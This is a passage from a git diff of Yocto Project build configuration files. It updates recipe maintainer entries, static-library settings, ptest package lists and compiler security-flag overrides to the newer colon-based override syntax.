+RECIPE_MAINTAINER:pn-python3-testtools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
+RECIPE_MAINTAINER:pn-python3-toml = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-tomli = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-typogrify = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-vcversioner = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-wcwidth = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-python3-webcolors = "Bruce Ashfield <bruce.ashfield@gmail.com>"
+RECIPE_MAINTAINER:pn-python3-zipp = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-qemu = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-helper-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemu-system-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-qemuwrapper-cross = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-quilt = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-quilt-native = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-quota = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-re2c = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-readline = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-repo = "Jasper Orschulko <Jasper.Orschulko@iris-sensing.com>"
+RECIPE_MAINTAINER:pn-resolvconf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-rgb = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-rpcbind = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-rng-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-rpcsvc-proto = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-rpm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-rsync = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-rt-tests = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-ruby = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-run-postinsts = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-rust = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-cross-${TUNE_PKGARCH}-${TCLIBC} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-hello-world = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-llvm = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rust-tools-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Randy MacLeod <Randy.MacLeod@windriver.com>"
+RECIPE_MAINTAINER:pn-rxvt-unicode = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-sato-screenshot = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-sbc = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-screen = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-sed = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-serf = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-setserial = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-settings-daemon = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-shadow = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shadow-securetty = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shadow-sysroot = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-shaderc = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-shared-mime-info = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-shutdown-desktop = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-signing-keys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-slang = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-socat = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-speex = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-speexdsp = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-spirv-headers = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-spirv-tools = "Jose Quaresma <quaresma.jose@gmail.com>"
+RECIPE_MAINTAINER:pn-sqlite3 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-squashfs-tools = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ssh-pregen-hostkeys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-startup-notification = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-strace = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-stress-ng = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-subversion = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-sudo = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-swig = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-sysfsutils = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-sysklogd = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-syslinux = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-sysstat = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-boot = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-bootchart = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-bootconf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-conf = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-compat-units = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-serialgetty = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemd-systemctl-native = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-systemtap = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-systemtap-native = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-systemtap-uprobes = "Victor Kamensky <victor.kamensky7@gmail.com>"
+RECIPE_MAINTAINER:pn-sysvinit = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-sysvinit-inittab = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-taglib = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tar = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-tcf-agent = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tcl = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-tcp-wrappers = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-testexport-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-texinfo = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-texinfo-dummy-native = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tiff = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-time = "Robert Yang <liezhi.yang@windriver.com>"
+RECIPE_MAINTAINER:pn-ttf-bitstream-vera = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-tzcode-native = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-tzdata = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-u-boot = "Marek Vasut <marek.vasut@gmail.com>"
+RECIPE_MAINTAINER:pn-u-boot-tools = "Marek Vasut <marek.vasut@gmail.com>"
+RECIPE_MAINTAINER:pn-udev-extraconf = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-unfs3 = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-unifdef = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-uninative-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
+RECIPE_MAINTAINER:pn-unzip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-update-rc.d = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-usbinit = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-usbutils = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-util-linux = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-util-linux-libuuid = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-util-macros = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-v86d = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-vala = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-valgrind = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-vim = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-vim-tiny = "Tom Rini <trini@konsulko.com>"
+RECIPE_MAINTAINER:pn-virglrenderer = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-volatile-binds = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-vte = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-vulkan-samples = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-waffle = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-watchdog-config = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-wayland = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wayland-protocols = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wayland-utils = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-webkitgtk = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-weston = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-weston-init = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-wget = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-which = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-wic-tools = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-wireless-regdb = "Adrian Bunk <bunk@kernel.org>"
+RECIPE_MAINTAINER:pn-wpa-supplicant = "Changhyeok Bae <changhyeok.bae@gmail.com>"
+RECIPE_MAINTAINER:pn-wpebackend-fdo = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-x11perf = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-x264 = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-xauth = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-proto = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-image = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-keysyms = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-renderutil = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcb-util-wm = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xcursor-transparent-theme = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xdg-utils = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-xdpyinfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xeyes = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-evdev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-keyboard = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-libinput = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-mouse = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-synaptics = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-input-vmmouse = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-cirrus = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-fbdev = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-intel = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-vesa = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xf86-video-vmware = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xhost = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinetd = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-xinit = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinput = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xinput-calibrator = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xkbcomp = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xkeyboard-config = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xmlto = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-xmodmap = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xorg-minimal-fonts = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xorgproto = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xprop = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xrandr = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xrestop = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-nodm-init = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-xf86-config = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xserver-xorg = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xset = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xtrans = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xuser-account = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xvinfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xwayland = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xwininfo = "Unassigned <unassigned@yoctoproject.org>"
+RECIPE_MAINTAINER:pn-xxhash = "Alexander Kanavin <alex.kanavin@gmail.com>"
+RECIPE_MAINTAINER:pn-xz = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zip = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zlib = "Denys Dmytriyenko <denis@denix.org>"
+RECIPE_MAINTAINER:pn-zstd = "Alexander Kanavin <alex.kanavin@gmail.com>"
diff --git a/meta/conf/distro/include/no-static-libs.inc b/meta/conf/distro/include/no-static-libs.inc
index a3a865cac4..7c6cf35934 100644
--- a/meta/conf/distro/include/no-static-libs.inc
+++ b/meta/conf/distro/include/no-static-libs.inc
@@ -1,37 +1,37 @@
DISABLE_STATIC ?= " --disable-static"
# qemu aborts on unrecognised option
-DISABLE_STATIC_pn-qemu = ""
-DISABLE_STATIC_pn-qemu-native = ""
-DISABLE_STATIC_pn-nativesdk-qemu = ""
-DISABLE_STATIC_pn-qemu-system-native = ""
+DISABLE_STATIC:pn-qemu = ""
+DISABLE_STATIC:pn-qemu-native = ""
+DISABLE_STATIC:pn-nativesdk-qemu = ""
+DISABLE_STATIC:pn-qemu-system-native = ""
# pciutils fails build
-DISABLE_STATIC_pn-pciutils = ""
+DISABLE_STATIC:pn-pciutils = ""
# libcap aborts on unrecognised option
-DISABLE_STATIC_pn-libcap = ""
-DISABLE_STATIC_pn-libcap-native = ""
-DISABLE_STATIC_pn-nativesdk-libcap = ""
+DISABLE_STATIC:pn-libcap = ""
+DISABLE_STATIC:pn-libcap-native = ""
+DISABLE_STATIC:pn-nativesdk-libcap = ""
# libpcap aborts on unrecognised option
-DISABLE_STATIC_pn-libpcap = ""
+DISABLE_STATIC:pn-libpcap = ""
# needed by gdb
-DISABLE_STATIC_pn-readline = ""
+DISABLE_STATIC:pn-readline = ""
# openjade/sgml-common have build issues without static libs
-DISABLE_STATIC_pn-sgml-common-native = ""
-DISABLE_STATIC_pn-openjade-native = ""
+DISABLE_STATIC:pn-sgml-common-native = ""
+DISABLE_STATIC:pn-openjade-native = ""
# openssl has build issues without static libs
-DISABLE_STATIC_pn-openssl = ""
-DISABLE_STATIC_pn-openssl-native = ""
-DISABLE_STATIC_pn-nativesdk-openssl = ""
+DISABLE_STATIC:pn-openssl = ""
+DISABLE_STATIC:pn-openssl-native = ""
+DISABLE_STATIC:pn-nativesdk-openssl = ""
# libssp-static-dev included in build-appliance
-DISABLE_STATIC_pn-gcc-runtime = ""
+DISABLE_STATIC:pn-gcc-runtime = ""
# libusb1-native is used to build static dfu-util-native
-DISABLE_STATIC_pn-libusb1-native = ""
+DISABLE_STATIC:pn-libusb1-native = ""
-EXTRA_OECONF_append = "${DISABLE_STATIC}"
+EXTRA_OECONF:append = "${DISABLE_STATIC}"
-EXTRA_OECMAKE_append_pn-libical = " -DSHARED_ONLY=True"
-EXTRA_OECMAKE_append_pn-libjpeg-turbo = " -DENABLE_STATIC=False"
+EXTRA_OECMAKE:append:pn-libical = " -DSHARED_ONLY=True"
+EXTRA_OECMAKE:append:pn-libjpeg-turbo = " -DENABLE_STATIC=False"
-EXCONFIG_ARGS_append_pn-ncurses = " --without-normal"
-EXCONFIG_ARGS_append_pn-ncurses-native = " --without-normal"
-EXCONFIG_ARGS_append_pn-nativesdk-ncurses = " --without-normal"
+EXCONFIG_ARGS:append:pn-ncurses = " --without-normal"
+EXCONFIG_ARGS:append:pn-ncurses-native = " --without-normal"
+EXCONFIG_ARGS:append:pn-nativesdk-ncurses = " --without-normal"
diff --git a/meta/conf/distro/include/ptest-packagelists.inc b/meta/conf/distro/include/ptest-packagelists.inc
index ce13368c2e..c503a6a594 100644
--- a/meta/conf/distro/include/ptest-packagelists.inc
+++ b/meta/conf/distro/include/ptest-packagelists.inc
@@ -14,17 +14,21 @@ PTESTS_FAST = "\
diffutils-ptest \
elfutils-ptest \
ethtool-ptest \
+ expat-ptest \
flex-ptest \
gawk-ptest \
gdbm-ptest \
gdk-pixbuf-ptest \
gettext-ptest \
+ glib-networking-ptest \
gzip-ptest \
json-glib-ptest \
libconvert-asn1-perl-ptest \
liberror-perl-ptest \
+ libnl-ptest \
libmodule-build-perl-ptest \
libpcre-ptest \
+ libssh2-ptest \
libtimedate-perl-ptest \
libtest-needs-perl-ptest \
liburi-perl-ptest \
@@ -36,6 +40,7 @@ PTESTS_FAST = "\
libxml-sax-base-perl-ptest \
libxml-simple-perl-ptest \
libxml2-ptest \
+ lua-ptest \
lzo-ptest \
m4-ptest \
nettle-ptest \
@@ -43,6 +48,15 @@ PTESTS_FAST = "\
opkg-ptest \
pango-ptest \
parted-ptest \
+ python3-atomicwrites-ptest \
+ python3-hypothesis-ptest \
+ python3-jinja2-ptest \
+ python3-jsonpointer-ptest \
+ python3-markupsafe-ptest \
+ python3-more-itertools-ptest \
+ python3-pluggy-ptest \
+ python3-wcwidth-ptest \
+ python3-webcolors-ptest \
qemu-ptest \
quilt-ptest \
sed-ptest \
@@ -50,17 +64,12 @@ PTESTS_FAST = "\
wayland-ptest \
zlib-ptest \
"
-PTESTS_FAST_remove_mips64 = "qemu-ptest"
-
-#PTESTS_PROBLEMS = "\
-# ruby-ptest \ # Timeout
-# clutter-1.0-ptest \ # Doesn't build due to depends on cogl-1.0
-# lz4-ptest \ # Needs a rewrite
-# rt-tests-ptest \ # Needs to be checked whether it runs at all
-# bash-ptest \ # Test outcomes are non-deterministic by design
-# ifupdown-ptest \ # Tested separately in lib/oeqa/selftest/cases/imagefeatures.py
-# mdadm-ptest \ # Tests rely on non-deterministic sleep() amounts
-#"
+PTESTS_FAST:append:libc-glibc = " glibc-tests-ptest"
+PTESTS_PROBLEMS:remove:libc-glibc = "glibc-tests-ptest"
+PTESTS_FAST:remove:mips64 = "qemu-ptest"
+PTESTS_PROBLEMS:append:mips64 = " qemu-ptest"
+PTESTS_FAST:remove:riscv32 = "qemu-ptest"
+PTESTS_PROBLEMS:append:riscv32 = " qemu-ptest"
PTESTS_SLOW = "\
babeltrace-ptest \
@@ -69,10 +78,10 @@ PTESTS_SLOW = "\
coreutils-ptest \
dbus-test-ptest \
e2fsprogs-ptest \
+ findutils-ptest \
glib-2.0-ptest \
gstreamer1.0-ptest \
libevent-ptest \
- libinput-ptest \
lttng-tools-ptest \
openssh-ptest \
openssl-ptest \
@@ -84,4 +93,31 @@ PTESTS_SLOW = "\
valgrind-ptest \
"
-PTESTS_SLOW_remove_riscv64 = "valgrind-ptest"
+PTESTS_SLOW:remove:riscv64 = "valgrind-ptest"
+PTESTS_PROBLEMS:append:riscv64 = "valgrind-ptest"
+
+# ruby-ptest \ # Timeout
+# lz4-ptest \ # Needs a rewrite
+# rt-tests-ptest \ # Needs to be checked whether it runs at all
+# bash-ptest \ # Test outcomes are non-deterministic by design
+# ifupdown-ptest \ # Tested separately in lib/oeqa/selftest/cases/imagefeatures.py
+# mdadm-ptest \ # Tests rely on non-deterministic sleep() amounts
+# libinput-ptest \ # Tests need an unloaded system to be reliable
+# libpam-ptest \ # Needs pam DISTRO_FEATURE
+# numactl-ptest \ # qemu not (yet) configured for numa; all tests are skipped
+# libseccomp-ptest \ # tests failed: 38; add to slow tests once addressed
+# python3-numpy-ptest \ # requires even more RAM and (possibly) disk space; multiple failures
+
+PTESTS_PROBLEMS = "\
+ ruby-ptest \
+ lz4-ptest \
+ rt-tests-ptest \
+ bash-ptest \
+ ifupdown-ptest \
+ mdadm-ptest \
+ libinput-ptest \
+ libpam-ptest \
+ libseccomp-ptest \
+ numactl-ptest \
+ python3-numpy-ptest \
+"
diff --git a/meta/conf/distro/include/rust_security_flags.inc b/meta/conf/distro/include/rust_security_flags.inc
new file mode 100644
index 0000000000..590bef17a0
--- /dev/null
+++ b/meta/conf/distro/include/rust_security_flags.inc
@@ -0,0 +1,7 @@
+# Build errors with PIE options enabled
+SECURITY_CFLAGS:pn-rust-native = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust-cross-${TARGET_ARCH} = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust-llvm = "${SECURITY_NO_PIE_CFLAGS}"
+
+SECURITY_LDFLAGS:pn-rust-cross-arm = " -lssp_nonshared -lssp"
diff --git a/meta/conf/distro/include/security_flags.inc b/meta/conf/distro/include/security_flags.inc
index 4e64eb99f9..e469eadca1 100644
--- a/meta/conf/distro/include/security_flags.inc
+++ b/meta/conf/distro/include/security_flags.inc
@@ -10,7 +10,9 @@ GCCPIE ?= "--enable-default-pie"
# _FORTIFY_SOURCE requires -O1 or higher, so disable in debug builds as they use
# -O0 which then results in a compiler warning.
-lcl_maybe_fortify ?= "${@oe.utils.conditional('DEBUG_BUILD','1','','-D_FORTIFY_SOURCE=2',d)}"
+OPTLEVEL = "${@bb.utils.filter('SELECTED_OPTIMIZATION', '-O0 -O1 -O2 -O3 -Ofast -Og -Os -Oz -O', d)}"
+
+lcl_maybe_fortify ?= "${@oe.utils.conditional('OPTLEVEL','-O0','','${OPTLEVEL} -D_FORTIFY_SOURCE=2',d)}"
# Error on use of format strings that represent possible security problems
SECURITY_STRINGFORMAT ?= "-Wformat -Wformat-security -Werror=format-security"
@@ -30,40 +32,40 @@ SECURITY_LDFLAGS ?= "-Wl,-z,relro,-z,now"
SECURITY_X_LDFLAGS ?= "-Wl,-z,relro"
# powerpc does not get on with pie for reasons not looked into as yet
-GCCPIE_powerpc = ""
-GLIBCPIE_powerpc = ""
-SECURITY_CFLAGS_remove_powerpc = "${SECURITY_PIE_CFLAGS}"
-SECURITY_CFLAGS_pn-libgcc_powerpc = ""
-
-SECURITY_CFLAGS_pn-glibc = ""
-SECURITY_CFLAGS_pn-glibc-testsuite = ""
-SECURITY_CFLAGS_pn-gcc-runtime = ""
-SECURITY_CFLAGS_pn-grub = ""
-SECURITY_CFLAGS_pn-grub-efi = ""
-SECURITY_CFLAGS_pn-mkelfimage_x86 = ""
-
-SECURITY_CFLAGS_pn-valgrind = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_pn-valgrind = ""
-SECURITY_CFLAGS_pn-sysklogd = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_pn-sysklogd = ""
+GCCPIE:powerpc = ""
+GLIBCPIE:powerpc = ""
+SECURITY_CFLAGS:remove:powerpc = "${SECURITY_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-libgcc:powerpc = ""
+
+SECURITY_CFLAGS:pn-glibc = ""
+SECURITY_CFLAGS:pn-glibc-testsuite = ""
+SECURITY_CFLAGS:pn-gcc-runtime = ""
+SECURITY_CFLAGS:pn-grub = ""
+SECURITY_CFLAGS:pn-grub-efi = ""
+SECURITY_CFLAGS:pn-mkelfimage:x86 = ""
+
+SECURITY_CFLAGS:pn-valgrind = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:pn-valgrind = ""
+SECURITY_CFLAGS:pn-sysklogd = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:pn-sysklogd = ""
# Recipes which fail to compile when elevating -Wformat-security to an error
-SECURITY_STRINGFORMAT_pn-busybox = ""
-SECURITY_STRINGFORMAT_pn-gcc = ""
+SECURITY_STRINGFORMAT:pn-busybox = ""
+SECURITY_STRINGFORMAT:pn-gcc = ""
-TARGET_CC_ARCH_append_class-target = " ${SECURITY_CFLAGS}"
-TARGET_LDFLAGS_append_class-target = " ${SECURITY_LDFLAGS}"
-TARGET_CC_ARCH_append_class-cross-canadian = " ${SECURITY_CFLAGS}"
-TARGET_LDFLAGS_append_class-cross-canadian = " ${SECURITY_LDFLAGS}"
